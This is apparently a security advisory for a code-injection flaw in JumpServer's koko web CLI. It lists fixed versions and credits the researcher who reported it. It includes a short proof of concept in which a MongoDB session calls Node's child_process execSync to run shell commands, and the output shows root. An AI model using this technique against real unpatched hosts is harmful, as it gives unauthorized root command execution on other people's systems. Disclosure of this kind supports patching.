An authenticated user can exploit a vulnerability in MongoDB sessions to execute arbitrary commands, leading to remote code execution. This vulnerability may further be leveraged to gain root privileges on the host system.
Through the WEB CLI interface provided by koko, a user logs into the authorized mongoDB database and exploits the MongoDB session to execute arbitrary commands.
admin> const { execSync } = require("child_process")
admin> console.log(execSync("id; hostname;").toString())
uid=0(root) gid=0(root) groups=0(root)
jms_koko
admin>
Safe versions: - v2.28.20 - v3.7.1
It is recommended to upgrade the safe versions.
After upgrade, you can use the same method to check whether the vulnerability is fixed.
admin> console.log(execSync("id; hostname;").toString())
/bin/sh: line 1: /bin/hostname: Permission denied
Thanks for Oskar Zeino-Mahmalat of Sonar found and report this vulnerability
{ "nvd_published_at": "2023-09-27T21:15:10Z", "cwe_ids": [ "CWE-94" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2023-10-24T19:47:50Z" }